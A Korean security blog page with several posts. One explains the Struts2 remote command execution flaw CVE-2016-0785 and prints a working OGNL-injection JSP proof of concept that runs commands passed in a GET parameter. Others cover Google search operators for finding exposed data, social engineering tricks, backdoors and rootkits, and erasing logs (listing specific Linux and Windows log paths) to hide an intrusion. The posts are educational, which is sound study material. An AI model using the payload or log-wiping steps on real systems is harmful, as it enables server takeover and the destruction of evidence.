4/28/2016

[WEB HACKING] Apache Struts2 REC(Remote Command Executeion) Vulnerability(CVE-2016-0785)

최근 Apache Struts2에 Remote Command Execution 취약점이 하나 올라왔습니다.
이전에도 굉장히 이슈가 많았던 Struts 취약점은 Struts2를 사용하는 Apache에서 취약할 수 있으며 원격 명령이 실행되어 서버 권한을 탈취할 수 있기 때문에 굉장히 위험하죠.

CVE-2016-3081 이슈도 제가 글 작성하던 당시 나왔는데, 정리가 안된지라 CVE-2016-0785부터 정리할까합니다.


Apache Struts2 RCE Vulnerability(CVSS)

CVSS Severity (version 3.0):
CVSS v3 Base Score: 8.8 High
Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Impact Score: 5.9
Exploitability Score: 2.8
CVSS Version 3 Metrics:
Attack Vector (AV): Network
Attack Complexity (AC): Low
Privileges Required (PR): Low
User Interaction (UI): None
Scope (S): Unchanged
Confidentiality (C): High
Integrity (I): High
Availability (A): High

CVSS Severity (version 2.0):
CVSS v2 Base Score: 10.0 HIGH
Vector: (AV:N/AC:L/Au:N/C:C/I:C/A:C) (legend)
Impact Subscore: 10.0
Exploitability Subscore: 10.0
CVSS Version 2 Metrics:
Access Vector: Network exploitable
Access Complexity: Low
Authentication: Not required to exploit
Impact Type: Allows unauthorized disclosure of information; Allows unauthorized modification; Allows disruption of service       
              
Struts 2.0.0 ~ Struts 2.3.24.1 이라고 했지만 NVD에서 2.3.28 이하 버전 또한 취약하다고 합니다. 2.3.28 이하로 생각하시면 좋습니다.

Struts2 REC(CVE-2016-0785) 원리

Apache Struts2 2.3.24.1 버전 이하에서는 태그 속성에 "%{}" 스퀀스가 들어갔을 때 영향을 미칩니다. 이때 double OGNL evaluation이 일어나면서 명령 실행이 가능해집니다.

Struts2 태그 라이브러리의 OGNL 표현식은 ActionContext에 Object Data에 접근할 수 있습니다. 아래 코드를 보면 라벨을 통해 OGNL 값이 호출됩니다.

<p>parameters: <s:property value="#parameters.msg" /></p> 
Struts2 값을 파싱하고 OGNL이 실행되며 parameters의 msg 에 도달하게 되고 이부분의 명령을 실행하게 됩니다. 저러한 부분을 우리가 값을 통해 넘길 수 있을 때 필터링되지 않아 원격 명령을 내릴수가 있지요.

아래 POC 코드에서도 비슷한 이야기를 하겠지만 순차적으로 흐름을 보면 Label 값을 OGNL으로 넘기고 해당 부분에서 특수문자 필터링이 되지 않고 JSP 구문으로 인식되어서 공격자가 강제로 memberAccess의 설정을 변경합니다. 변경된 내용중에는 중요한 설정값이 존재합니다.

allowPrivateAccess => true(중요 데이터에 접근 허용)
allowProtectedAccess => false(접근에 대한 보호조치를 해제)

아래 공개된 POC 기준으로 약간 변경해서 작성하였습니다.

<%@page import="java.util.HashSet"%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<head><title>Struts2 Vul Test</title></head>
<body>
<%
 String cmd = request.getParameter("command");
 request.setAttribute("lan", "'),#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#a=@java.lang.Runtime@getRuntime(),#a.exec('"+command+"'),new java.lang.String('");
%>
<s:i18n name="%{#request.lan}">hwul</s:i18n>
</body>
</html>
GET 파라미터로 command에 명령값을 받은 후 해당 JSP 구문이 실행되면서 memberAccess 가 의 보호조치가 해제되고 명령이 실행되는 구조입니다.

struts2_test.jsp?command=ifconfig >> /tmp/zzzz

Struts2 REC 공개 POC

구글링을 좀 해봤지만 아직 Client 기준에서 테스트를 위한 코드를 발견하지는 못했습니다.
(물론 테스트를 위해서는 서버 어플리케이션의 환경 구성이 필요하니 딱 코드 하나로 테스트하기에는 어렵겠네요)

Server-side에서 테스트할 수 있는 코드만있고, 원격 형태로 테스팅은 아직 없네요.
틈나면 스크립트로 하나 만들어야겠습니다.

일단 서버에서 직접 검증할 수 있는 코드를 구했습니다.
아래 코드를 JSP의 Web Directory 에 넣어주세요.

<%@pageimport="java.util.HashSet"%>
<%@ pagecontentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="s"uri="/struts-tags" %>
<html>
<head><title>Struts2 Test</title></head>
<body>
<%
request.setAttribute("lan", "'),#_memberAccess['allowPrivateAccess']=true,
#_memberAccess['allowProtectedAccess']=true,
#_memberAccess['allowPackageProtectedAccess']=true,
#_memberAccess['allowStaticMethodAccess']=true,
#_memberAccess['excludedPackageNamePatterns']=
#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=
#_memberAccess['acceptProperties'],
#a=@java.lang.Runtime@getRuntime(),#a.exec('touch /tmp/sangfor_test'),new java.lang.String('");
%>
<s:i18nname="%{#request.lan}">xxxxx</s:i18n>
</body>
</html> <!-- Code Reference: http://sec.sangfor.com.cn:88/events/56.html  -->

넣은 후 해당 코드를 웹 브라우저로 열면 /TMP 하단에 테스트 파일이 만들어집니다.
공격 코드를 통해 이루어진 것이고 파일이 생성되었다면 취약하다고 볼 수 있습니다.

아래 wtoutiao.com에서 작성된 글의 이미지를 보면 우리가 label을 통해 넘긴 %{#_memberAccess} 가 %이 필터링 되지 않아 expr 내 #_memberAccess로 넘어감을 알 수 있습니다.

hxxp://www.wtoutiao.com/p/11azutL.html 내 이미지 참조


위 공격코드에서는 lan의 속성값을 내부에 #_memberAccess의 인자를 설정하는 코드를 같이 넣어주고 memberAccess의 값을 바꾼 후 Runtime 호출 후 exec로 명령을 넘기게 됩니다.

#a=@java.lang.Runtime@getRuntime(),#a.exec('touch /tmp/sangfor_test')

대응방법

제로데이가 아니기 때문에 패치를 통해 쉽게 해결할 수 있습니다.
2.3.28 보다 높은 버전으로 업그레이드가 필요합니다.
버전 업그레이드가 어렵다면 직접 해당 부분만 수정해야겠지요..

Reference

http://sec.sangfor.com.cn:88/events/56.html



Share: | Coffee Me:

[WEB HACKING] Google Hacking(구글해킹) - 검색엔진을 이용한 해킹 기술(Using a search engine hacking)


요즘 정말 바빠서 블로그는 커녕 몸 관리하기도 힘드네요.
오랜만에 시간내어 글 하나 작성해봅니다. 오늘은 구글해킹을 가지고 좀 이야기해볼까 해요.

Google Hacking?


구글해킹은 해커들이 자주 사용하는 기법 중 하나입니다.
물론 이 기법에 대해 처음들어보셨다면 여러가지 생각이 들겠지요.. 예를들어 구글을 해킹하는건가? 이런 생각들이요.

그러나 구글해킹은 검색 서비스를 이용하여 서비스를 해킹하는 기술입니다.
현재는 많은 양의 데이터가 인터넷에 돌아다니고 있고 우리는 쉽게 정보를 얻어갈 수 있는 세상입니다.
이러한 기술의 발전은 어두운 면 또한 동시에 가져오게되었지요.

구글해킹은 검색 연산자를 이용하여 Hacking 하게됩니다. 꼭 구글이 아니여도 Bing Hacking , Yahoo Hacking 으로도 사용할 수가 있지요.
저는 그냥 포괄적으로 Search Engine Hacking 이라고 부릅니다. :)


Google Hacking 배우기


각 검색 엔진, 포털 서비스 등 검색 기능을 제공하는 사이트 중 일부는 검색 연산자를 제공합니다.
이것은 검색을 좀 더 쉽게 하기 위해서 조건을 주어 검색할 수 있는 기능이죠. 연산자를 통해서 사용자는 좀 더 쉽게 원하는 데이터를 검색할 수 있습니다.

그러나 인터넷에는 공개되지 말아야할 정보 또한 많습니다.
Google Hacking 기법은 바로 그 부분을 이용하여 원하는 데이터를 찾아가는 기술입니다.

구글링을 잘하면 굉장히 좋은점이 많습니다. 이러한 내용은 일반인뿐만 아니라 해커에게도 동일하게, 아니 더 중요하게 작용합니다.

Google Hacking 1 - Find Site

검색 서비스에서 연산자를 활용하여 원하는 사이트에서만 자료를 찾을 수 있습니다.
바로 site라는 연산자를 이용하면 쉽게 가능합니다.

hacking site:www.hahwul.com


Google Hacking 2 - Find File

구글 서비스에서 파일을 찾는 방법은 여러가지이지만 모두 굉장히 간단합니다.
일단 연산자 중 filetype 이라는 연산자를 잘 활용해야합니다.

이 연산자는 검색할 File 의 Type, 즉 확장자를 지정하여 검색할 수 있습니다.

아래와 같이 구글 페이지에 입력했을 때 필요한 확장자의 파일을 찾을 수 있지요.
DROWN Attack filetype:pdf

조금 더 상세하게 찾아볼까요? 특정 사이트에서 원하는 파일을 찾아봅시다.
naver에서 ppt 파일을 찾아보겠습니다.

site:naver.com filetype:pptx


Google Hacking 3 - Cache View!

Cache 를 활용한 이 방법은 이미 삭제된 페이지에 대해서도 조회할 수 있는 방법입니다.
구글의 검색봇은 수시로 데이터를 읽어와 서버에 저장하고 있는데, 이후에 해당 페이지가 삭제되거나 이전되어도
디비에는 해당 페이지의 정보가 남아있습니다. 이를 검색할 수 있는 연산자는 Cache 연산자입니다.

cache:www.hahwul.com



Google Hacking 4 - 주요 검색 연산자

filetype - 파일의 확장자를 검색합니다.
 - filetype:[SYNTAX]

cache - 구글에 캐쉬된 정보를 확인합니다.
 - cache:[URL]

index of - Directory Listing 취약점, 즉 Directory Browsing이 Enabled 된 페이지만 찾습니다.
 - index of

intitle - 타이틀 내 해당하는 문자열을 찾습니다.
 - intitle:[STRING]

inurl - URL 내 해당하는 문자열을 찾습니다.
 - inurl:[STRING]

site - 해당 사이트의 페이지만 찾습니다.
 - site:[URL]

이외 연산자 참고 사이트
https://support.google.com/websearch/answer/2466433?hl=ko&ref_topic=3081620

Reference

https://support.google.com/websearch/answer/2466433?hl=ko&ref_topic=3081620


Share: | Coffee Me:

4/24/2016

[HACKING] Social Engineering Attack(소셜 엔지니어링) - 스파이 같은 해킹


해킹의 기법은 아주 여러가지가 있습니다. 그 중 유명한 해커인 케빈 미트닉의 강점이자, 스파이들이 할 것 같은 소셜 엔지니어링(Social Engineering)입니다.

Social Engineering?

해킹/보안 하시는 분이라면 꼭 알고 있고, 중요하게 생각하는 부분이 바로 소셜 엔지니어링입니다.
보안의 고리 중 가장 약한 부분이 사람이라고 하죠. 이 부분을 공격하는 것이 바로 소셜 엔지니어링입니다.

공격자는 필요한 데이터를 얻거나 접근을 하기 위해서 심리적인 속임수를 이용하여 사람을 속입니다.
이러한 방법은 기술적인 해킹이 가질 수 없는 영역이고, 기술적인 해킹으로 얻어낼 수 없는 데이터나 정보를 찾아낼 수도 있습니다.

그만큼 굉장히 중요한 부분이지만, 실제로 공격을 막을 대비도 잘 안되어있는 곳이 많고 그 공격을 수행할 대담한 공격자고 적습니다.
그렇지만 꼭 막아야할 부분이겠죠.




그럼 이 공격은 왜 일어나게 될까요? 고민을 하다보니 몇가지 원인이 생각나네요. 제가 생각한 것 이외에도 이유가 있으면 언제든 댓글로 주세요.

첫번째는 바로 권위, 권력입니다.
조직에서 일하는 사람은 권력과 권위에 두려움을 느끼게 됩니다. 나보다 높다고 생각되는 사람에게 부탁을 받거나
긴급한 일이라고 요청하게 된다면 사람은 두려움을 느껴 정확한 판단을 하기 어렵게 됩니다.  이러한 부분이 Social Engineering에 취약하도록 만드는 것 같네요.

두번째는 인식입니다.
회사, 조직에는 보안을 담당자는 부서도 있겠지만 다른 부서들도 존재합니다. 이들은 자신의 행동이 얼마나 위험한 행동인지 인식하지 못하는 경우가 많습니다.
예를 들어 회사 업무로 인해서 어떠한 명령을 쳐서 그 결과를 달라고 한다고 합니다. 보안이나 SE들은 의심을 하고 스크립트를 실행하지 않거나,
스크립트 내용을 확인하겠지만 이를 잘 모르는 직원은 복잡해 보이기 떄문에 공격자가 원하는 요청을 수행할 수 있습니다.
이렇게 인식이 잘 잡혀있지 않다면 Social Engineering에 취약할 수 있지요.

마지막으로 습관입니다.
사실 이것을 넣을까 말까 좀 고민했었습니다. 그래도 제 생각에는 중요한 부분으로 보여서요.
습관은 참 무서운겁니다. 무의식적으로 행동을 취할 수 있는데, 이것이 굉장히 위험한 작용을 할 수도 있지요.
사람에 대해 분석한 공격자는 습관을 이용하여 많은 정보를 취득하거나 접근을 따낼 수 있습니다.

그럼 대표적인 Social Engineering 기법에 대해 알아볼까 합니다.

Phishing [Computer Base]

소셜 엔지니어링은 사람을 매개체로 한 공격입니다. 대다수가 사람의 실수나 마음을 이용한 공격이지만
하나 Computer 가 Base 가 되는 공격이 있습니다. 물론 이 공격도 결국은 사람의 마음을 이용하지만요..

바로 피싱공격(Phishing)입니다. 스미싱, 피싱전화 등등 일반인에게도 익숙한 단어일테고 실제로 생각하시는 그 의미가 맞습니다.
공격자가 E-mail이나 웹 게시글 등을 이용하여 악성코드를 퍼뜨리거나 침투하는 공격이죠.

대표적으로 스팸메일(Spam-mail), 문자 스미싱이 있겠지요.

Dumpster Diving [Human Base]

Dumpster Diving은 쓰레기통을 뒤져서 정보를 얻는 방법입니다. 회사나 어떤 중요한 정보를 취급하는 곳은 꼭 문서 파쇄기가 있습니다.
정확하게 분쇄되지 않은 문서, 그냥 버려진 종이 등을 통해 공격자는 많은 정보를 얻어갈 수 있습니다.이 것이 문서 보안의 중요성이 되지요. Dumpster Diving은 버려진 종이,문서 등을 통해서 내부 정보를 얻어냅니다.

영화 같은데서 보면 주인공이나 악당이 잘려진 문서의 조각조각을 맞추고 큰 힌트를 얻어 사건을 해결하는 장면들이 나오기도 합니다.
이 기법은 그러한 방법입니다.



Impersonation [Human Base]

번역으로는 분장을 의미하지요. 바로 타인을 사칭하거나 위장해서 내부에 침투하는 방법입니다.위장보다는 사칭의 개념이 더 가깝겠네요. 거래처나 내부 직원인 척 타겟에 접근하여 정보를 탈취하거나,
악성코드를 심어놓게되는 경우이지요.

전에 케빈 미트닉이 였던거 같네요..  수감 생활 중 컴퓨터 사용에 대한 제지를 받았는데, 이런 방법을 이용해서
해킹을 했다고 봤던 것 같습니다. 시나리오를 하나 만들면 이런식으로 가능할 것 같네요.

공격자는 Footprinting을 통해 회사의 정보, 조직도 등을 알아내고 내부자 이름정도까지 알아냈다고 하겠습니다.
이제 원하는 타겟의 내선전화로 전화를 겁니다. 그 다음 다른팀의 누구라 하고 시스템 정보나 패스워드 정보를 얻어낼 수도 있겠죠.
(이왕이면 높은분..ㅋㅋ)



Technical Support [Human Base]

이 방법은 기술 지원 인력을 사칭하거나 기술 지원을 해준다는 이야기로 정보를 빼가는 수법입니다.
기술지원은 네트워크 내 직접 연결되거나 해당 장소로 접근할 수 있기 때문에 매우 위험합니다.

이런식으로 접근한 후 악성코드를 심거나 USB를 통해 데이터를 뺴가는 둥 행위를 할 수 있습니다.
자세한건 아래 링크 참조하시면 좋을 것 같네요 : )

http://www.social-engineer.org/framework/general-discussion/common-attacks/tech-support/

Shoulder Surfing [Human Base]

Shoulder Surfing은 어깨너머로 들여보는 방법입니다. 실제로 일상 생활에서도 많이 쓰이는 방법이죠(?)
어깨 너머로 모니터를 봐서 패스워드를 확인한다던가 중요한 정보를 가로챌 수 있는 방법이죠.



Tailgating / Piggybacking[Human Base]

Tailgating 또는 Piggybacking은 몰래 따라들어가는 방법이죠. 대체로 중요한 정보를 취급하는 곳, 또는 회사 입구 등
물리적인 보안 장치들이 많이 존재합니다. 그런 장치들을 우회하는 방법 중 하나죠.

일반적으로도 많이 사용하는 방법입니다. 단지 그게 TailGating이라고 인지하지 못할 뿐이죠.
(가끔씩 따라서 훅 들어가면 지인들이 Tailgating 한다고 뭐라 한다죠)

petri.com에 있던 글에 있는 이미지가 가장 내용을 잘 표현해줄수 있을 것 같네요.

https://www.petri.com/wp-content/uploads/01-tailgating.png

Insider

Insider는 직역하면 내부자를 의미합니다. 기업에서도 내부자 보안에 대한 정책이 상당히 많습니다.
그만큼 외부인보다 더 Acceess가 자유롭고 한정적이지만 인가된 권한 안에서는 매우 자유롭지요. 그런 내부자가 직접 유출할 시
유출되는 데이터도 크고 쉽게 찾기도 어렵습니다. 예전에 발생했었던 개인정보 유출 사건들 중 내부자로 인한 사건도 있었습니다.
최근에도 해외 사례에서 한건 있었던 것 같습니다.



이처럼 Social Engineering에 대해 정리해봤습니다. 각각 항목은 물리적인 보안, 내부자 교육 등의 행위로 어느정도 보안성을 유지할 수 있지만, 그래도 항상 조심해야겠지요.
Share: | Coffee Me:

4/20/2016

[HACKING] Phase of Ethical Hacking Phase5 - Covering Tracks

윤리해킹(Ethical Hacking)의 5가지 단계 중 마지막인 Covering Tracks입니다.

Covering Track

Covering Track는 Clearing Track이라고도 부르며 해킹 성공 후 해킹하기 위해 사용되었던 파일, 로그 등등 흔적을 지우는 과정을 의미합니다. 아래 그림의 캐릭터를 혹시 아시나요?
바로 Assassins Creed 시리즈의 주인공입니다. 스토리부터 재미까지 완성도 높은 게임이죠.
이 주인공은 위험한 순간 대중들 사이로 숨어 자신을 은폐합니다. 우리가 하려는 Covering Track 도 이와 비슷한 느낌이지요. (숨고 흔적은 지운다?)

hxxp://xdesktopwallpapers.com/wp-content/uploads/2012/04/Assassins%20Creed%202%20-%20Hiding%20In%20Red%20People.jpg

Recon부터 Maintaining Access까지 공격자가 수행하는 많은 행위들에는 그에 따른 로그가 남게됩니다. 이것은 간단하게는 타겟 시스템의 로그에서부터 IDS, IPS에 남겨진 로그까지 흔적이 많이 남게 되지요. 조용한 움직임과 흔적을 남기지 않기 위해서는 이러한 기록들을 지워주는 작업이 필요합니다. 이 과정을 Covering Track이라고 부르고 많은 툴들을 이용하여 기록을 지우게 되지요.

또한 데이터, 파일을 숨기는 과정도 Covering Track에 포함됩니다. 음.. 쉽게 여러 흔적을 지우는 과정이라고 생각하시면 좋을 것 같네요.

Remove Log

Scanning 부터 공격가지 해킹은 많은 로그를 남기게 됩니다. (이게 다 삽질때문에..)
BOF는 시스템로그, Kernel 로그 등에 메시지를 남길 것이고 웹 기반이라면 WAS에 정보가 남게됩니다. 그래서 일반적으로 각각 Application, System 등이 기본적으로 가지고 있는 로그의 위치를 확이하여 삭제하게 됩니다. 대표적인 로그를 몇개 소개합니다.

Linux - /var/log/syslog
 일반적으로 syslog라고 부르는 로그입니다. 시스템 전반적인 로그가 들어있으며,
크리티컬한 이슈부터 자잘한 로그까지 생각보다 상세하게 기록되는 로그입니다.

Linux - /var/log/kern.log
 다음은 리눅스의 커널로그입니다. 시스템 부팅부터 커널 동작이 시작되며 로그가 남고
Kernel base bof 및 각종 Exploit 로그가 남기도 합니다.

Linux - /var/log/apache2/error.log or ./access.log
 이 부분은 많이 사용되는 Apache 서버 로그 위치입니다. 물론 버전마다 약간 다르겠지만, 대체로 위 경로이며 error.log , access.log 를 통해 접근, 에러 로깅 정보를 확인할 수 있습니다. web base attack이 실행되었다면 꼭 지워야겠지요.

Windows - %SystemRoot%\System32\winevt\Logs\security.evtx
 윈도우즈 시스템에서의 보안로그입니다.

Windows - %SystemRoot%\System32\winevt\Logs\system.evtx
 윈도우즈 시스템에서의 시스템 로그입니다.

윈도우, 리눅스 등 대부분 Application 로그를 제외한 나머지는 System에서 Log를 관리하는 디렉토리가 있고 특정 경로에 Log들이 모아져있습니다.

이외에도 많은 로그가 있을 것 입니다. 그리고 서버별로 분명 기발한 담당자들은 저 로그의 사본을 따로 백업하거나, 숨기거나 하고 또한 로그 관련된 솔루션등을 가지고 있을 수 있습니다.

이 부분은 공격을 수행하는 자가 고민해봐야할 문제이지요.
(로그를 삭제하려고 하는 과정도 로깅될 수 있네용)

이 과정을 좀 더 쉽게 도와주는 툴도 많이 있습니다.
개인적으로는 Metasploit 의 Shell인 Meterpreter Shell의 기능 중 하나인 Clearev 기능이 좋다고 생각되네요. 이외에도 elsave나 WinZapper 등을 통해 삭제할 수 있지요.

Data Hiding

공격자는 로그를 지우고 자신의 흔적, 데이터를 숨기려고 할 것입니다.
악성파일이나 탈취한 데이터를 해당 PC에 그대로 보관한다면 탐지되기 쉽게 때문이죠.
그래서 여러가지 루트로 데이터를 숨기게 됩니다.
몇개 생각해봤는데, 3가지 정도를 예시로 들어보겠습니다.

1. 멀티미디어 파일의 메타데이터에 숨기기
이미지, 오디오, 영상 파일에는 메타데이터를 넣을 수 있는 영역이 존재합니다.
바로 촬영 시간, 촬영 지역 등등 이러한 데이터인데요 이 공간에 공격자가 데이터를 숨길수도 있습니다. 그래서 기본적으로 존재하는 Sample 이미지 등에 악성코드 몸체를 넣어둘수도 있지요.

이러한 방법을 사용하는 악성코드도 가끔씩 발견되네요.
(이미지에 악성코드를 삽입하고 해당 이미지를 실행하는..)

2. 루트킷을 이용한 데이터 숨기기
Maintaining Access에서도 포스팅했지만 Rootkit은 공격자의 흔적을 숨기기에도 용이한 도구입니다. Rootkit을 이용해서 데이터부터 실행파일까지 많은 내용을 숨길 수 있지요.

3. ADS 영역에 데이터 숨기기
마지막으로 ADS에 대한 이야기입니다. ADS는 Windows 에서 제공되는 스트림 영역이며 원래 MAC과 호환성을 위해서 만들어진 영역이라고 하네요. 이 영역에는 데이터를 쉼게 숨기고 꺼내올 수 있습니다. 별도의 분석툴이 없으면 찾기 좀 까다롭습니다.

관련 내용은 예전에 포스팅했던거 참고해주세요.
http://www.hahwul.com/2015/03/ntfs-file-system-adsalternate-data.html

Ethical Hacking

Phase of Ethical Hacking
[HACKING] Phase of Ethical Hacking/Pentest(모의/윤리해킹의 단계)
[HACKING] Phase of Ethical Hacking Phase1 - Reconnaissance/Footprinting
[HACKING] Phase of Ethical Hacking Phase2 - Scanning/Enumeration
[HACKING] Phase of Ethical Hacking Phase3 - Gaining Access
[HACKING] Phase of Ethical Hacking Phase4 - Maintaining Access
[HACKING] Phase of Ethical Hacking Phase5 - Covering Tracks

이렇게 Ethical Hacking 의 5단계에 대해서 하나하나 살펴봤습니다.
실무와는 좀 다를수도 있지만 알고계시면 도움이 될 수 있는 내용이니 숙지해주시면 좋습니다.
궁금하신점은 각각 글의 댓글로 달아주시거나 Mail을 통해 연락주시면 최대한 궁금증 풀어드리도록 노력하겠습니다. 길고 지루한 글들 읽어주셔서 감사합니다 :)
Share: | Coffee Me:

4/19/2016

[HACKING] Phase of Ethical Hacking Phase4 - Maintaining Access

윤리해킹(Ethical Hacking)의 5가지 단계 중 네번째 Maintaining Access입니다.
Maintaining Access는 Gaining Access를 통해 시스템에 접근 후 접근의 유지를 위해 하는 절차입니다. 대표적으로 Backdoor를 심고 Rootkit을 설치하는 과정이죠.

Maintaining Access

시스템에는 SE부터 보안관리자, 사용자까지 여러 User들이 접속하게 되고 공격자는 이를 피해 몰래 자신의 길을 뚫어둬야 합니다. (이후의 편리한 접속과 안걸렸다는 쾌감?을 위하여..)

대체로 시스템 장악 후 Backdoor나 Rootkit을 통해 지속적인 연결을 수행하기 쉽도록 만드는 과정이죠. 이 과정까지 완벽하게 된다면 보안담당자가 공격자를 찾아내기 점점 어려워지게 됩니다.






Maintaining Access는 이 과정을 의미합니다. Gaining Access와 마찬가지로 간단한 개념이기 때문에 포스팅할 내용이 많이 적네요..

그래서 이번에도 잡다한 이야기를 할까 합니다.

Backdoor

Maintaining Access의 대표적인 키워드인 Backdoor입니다. 직역하면 뒷문, 즉 정식적인 길이 아닌 숨겨진 길을 의미합니다.

보안에서는 공격자가 취약점이나 헛점등을 이용하여 지속적으로 접근할 수 있는 Shell 등을 의미하고 개발에서는 시스템 관리자, 개발자가 편의를 위해 만들어둔 Shell 이라고 표현하네요.

공격자는 항상 쉽게 자신의 타겟에 들어가길 원합니다. 반복적인 공격은 탐지율을 높이는 결과를 초래하죠.
공격자는 Backdoor를 통해 시스템에 자신이 들어갈 수 있는 통로를 만돌고 그 길을 통해 바로 Remote Connection을 가져갑니다.

만들어보시면 알겠지만 굉장히 Rootkit과 함께 만드는 과정, 사용하는 과정이 재미있는 툴 입니다. 물론 이것을 만들어서 배포하거나 사용하는건 불법이니 연구,스터디 목적으로만 만들어서 개인소장하시는 걸 추천합니다.

이 Backdoor에는 재미있는 개념이 하나 있습니다. 바로 대칭/비대칭(Symmetric/Asy) 백도어 입니다.
대칭, 즉 Symmetric Backdoor는 전통적인 Backdoor이며 보안에서 이야기하는 Backdoor에 대한 이야기보단 개발에서 이야기하는 Backdoor에 가깝습니다.
바로 개발자나 SE가 편의를 위해 만들어둔 기능이며, 그 것을 찾은 사용자는 몰래 쭉 그 기능을 이용할 수 있는데 이것을 Symmetric Backdoor라고 부릅니다.

비대칭 백도어인 Asymmetric Backdoor는 공개되어도 그 Backdoor를 만든 사용자만 쓸 수 있는 Backdoor입니다.
실제 해킹에 성공한 공격자들은 Backdoor를 만들 때 다른 해커가 자신의 Backdoor를 사용하는 것을 꺼려하지요.
그래서 자신만의 Backdoor나 Password가 있는 Backdoor를 사용하고 Backdoor의 존재를 숨기게 됩니다. 이러한 형태의 Backdoor를 Asymmetric Backdoor라고 부릅니다.

아래 Wiki 참고하시면 좋습니다.
https://en.wikipedia.org/wiki/Backdoor_(computing)


RootKit

Backdoor가 나오면 이 친구도 꼭 같이 거론되기 좋습니다. 바로 Rootkit입니다.
(한때 제가 Rootkit에 빠져서.. 신나게 만들고 놀았죠)
이 친구는 Backdoor와 비슷한 역할을 수행하지만, 약간 다릅니다. Backdoor가 침투 이후 재 접근을 쉽게 하는데 목표가 있다면
Rootkit은 권한 상승 후 권한 상승까지 쉽게 올라갈 수 있고, 이러한 툴을 숨기는데 목표가 있습니다.

권한 상승도 중요하지만 사실상 메인 기능은 백도어와 여러가지 설치된 툴을 숨기는게 중요합니다.
루트킷의 설치/행동 범위에 따라 Application Level Rookit, Kernel Level Rootkit 등 5가지로 구별할 수 있으며 Github에서 OpenSouce Rootkit을 까서 보시면 명령어 변조, i-node를 변조하는 둥 자신, 파일을 숨길 수 있는 행위를 합니다. 굉장히 넓고 재미있는 분야이니 시간나시면 한번 깊게 파보는것도 좋습니다.

Rootkit에 대한 종류는 아래 링크를 참조해주세요.


[차후에 작성하겠습니다.. 피곤피곤]

Phase of Ethical Hacking
[HACKING] Phase of Ethical Hacking/Pentest(모의/윤리해킹의 단계)
[HACKING] Phase of Ethical Hacking Phase1 - Reconnaissance/Footprinting
[HACKING] Phase of Ethical Hacking Phase2 - Scanning/Enumeration
[HACKING] Phase of Ethical Hacking Phase3 - Gaining Access
[HACKING] Phase of Ethical Hacking Phase4 - Maintaining Access
[HACKING] Phase of Ethical Hacking Phase5 - Covering Tracks

Reference

https://en.wikipedia.org/wiki/Backdoor_(computing)
Share: | Coffee Me:

[HACKING] Phase of Ethical Hacking Phase3 - Gaining Access

윤리해킹(Ethical Hacking)의 5가지 단계 중 세번째 Gaining Access입니다.
Gaining Access 는 요약하자면 Recon, Scan 등을 통해 얻어진 정보를 가지고 실제 시스템에 접근을 얻어내는 과정입니다. MSF나 만든 공격코드를 통해 Exploit 하는 과정이라고 볼 수 있지요.


Gaining Access

위에서 설명드렸듯이 접근권한을 얻어가는 과정입니다. 이 과정에서 실제로 공격이 수행되기 때문에 위험성이나 영향도는 굉장히 높습니다.
예를들어 BOF,BUF등을 통해 시스템에 명령을 수행하거나 악성코드를 설치, DOS를 한다던가 Hijacking을 통해 권한을 탈취한다는 등의 행위입니다.

약간의 시나리오를 생각해보면 공격자가 웹 서버에 대해서 Recon, Scan 이후 취약점을 하나 발견합니다. 파일업로드네요! 그러면 공격자는 서버에 웹쉘을 업로드하려고 하겠지요. 이 여기서 업로드하고 웹쉘을 통해 시스템에 직접 접근하게 되는 이 과정이 Gaining Access입니다.

또 하나 예시를 더 들어보겠습니다. 공격자는 어떤 기업에 대해서 침투를 하고싶어 합니다. 공격자는 Recon을 통해 얻어낸 메일도메인 주소 등을 통해서 대량의 스팸메일을 전송합니다. 직원 중 일부는 해당 스팸을 열어볼 확률이 높고, 열게된다면 공격자에게 내부망으로 들어갈 수 있는 통로를 제공하게 되지요. 여기서 스팸을 전송하고, 스팸을 통해서 내부망으로 접근, 사용자의 PC권한을 탈취하는 이 과정 또한 Gaining Access 입니다.

아주 간단하고 쉬운 개념이지요 : )
(Gaining Access 와 Maintaining Access 모두 상세하게 설명할 부분이 좀 적긴하네요..)

Metasploit

공격에 관련된 툴/프레임워크 중 유명한 프로그램입니다. Metasploit Project는 HD.Moore님 즉 무어님이 휴대용 네트워크 도구를 만든것에서 발전하여 현재 Offensive Security의 대표적인 Project로 알려진 침투 프레임워크입니다. 일반적으로 툴로 사용하는 Metasploit 이 Metasploit Project 내 Metasploit Framework이죠.

개인적으로도 관심이 많아 관련 포스팅을 하고, 커스텀해서 사용하고 있습니다.
침투 시 굉장히 편리하며 타겟에 대한 관리에도 매력적인 툴입니다.
(Perl에서 Ruby로 바뀌어서 완전 좋네요)

사실 이 툴이 Gaining Access 항목에서만 유용한 툴은 아닙니다. Recon, Scan, Gaining/Maintaining Access에도 정말 유용하게 사용될 수 있을만큼 좋은 툴이죠.

그렇지만 보편적으로 알려진 Metasploit의 강점인 Exploit을 고려하여 키워드로 넣게 되었습니다.
(개인적으로는 타겟관리 및 확장성이 갑이네요)

Gaining Access의 대표적인 3가지 루트

1. BOF(Buffer OverFlow) / Buffer Overrun
첫번째는 Overflow 취약점입니다. 해커라면 꼭 알아야하는 BOF/BUF 입니다. 전통적인 System, Application Hacking 기법이며 옛날부터 현재까지 끊임없이 나오는 기술이죠. 영향력이 높은 취약점 중 다수는 바로 BOF일겁니다. 원리나 BOF를 이용하여 원하는 코드를 실행하고 하는 방법들은 직접 찾아보면서 공부해보시면 좋습니다. (Ethical Hacking Phase 에 대한 이야기라 다 풀어서 쓰기는 좀 그러네요)

기본적인 정보는 Wiki 보시면 도움될 것 같네요.
https://ko.wikipedia.org/wiki/%EB%B2%84%ED%8D%BC_%EC%98%A4%EB%B2%84%ED%94%8C%EB%A1%9C

2. Phishing
두번째는 피싱(Phishing)입니다. 일반인에게도 많이 익숙한 단어이죠. 낚다, 낚시라고 생각하시면 되고 타겟을 속여서 악의적인 파일을 실행하게 하거나 중요한 정보를 얻어내는 방법이죠. (보이스피싱과 같은 느낌)

